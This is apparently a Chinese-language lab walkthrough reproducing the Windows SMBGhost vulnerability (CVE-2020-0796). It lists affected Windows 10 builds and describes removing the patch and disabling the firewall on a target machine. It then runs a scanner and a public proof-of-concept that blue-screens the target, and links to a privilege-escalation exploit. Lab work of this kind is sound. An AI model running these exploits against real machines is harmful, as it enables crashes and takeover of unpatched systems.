win 漏洞CVE-2020-0796

受漏洞影響版本:
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
靶機環境：
win+r輸入winver查看版本信息

win+r輸入appwiz.cpl查看更新補丁包若有KB4551762將其卸載
關閉防火牆
復現：
下載檢測代碼：

https://github.com/ollypwn/SMBGhost

D:\SMBGhost-master\SMBGhost-master>python scanner.py 192.168.31.150
192.168.31.11  vulnerable.

下載poc

https://github.com/eerykitty/CVE-2020-0796-PoC

//執行
D:\CVE-2020-0796-PoC-master\CVE-2020-0796-PoC-master>python CVE-2020-0796.py 192.168.31.11

靶機藍屏

//提權exe
https://github.com/f1tz/CVE-2020-0796-LPE-EXP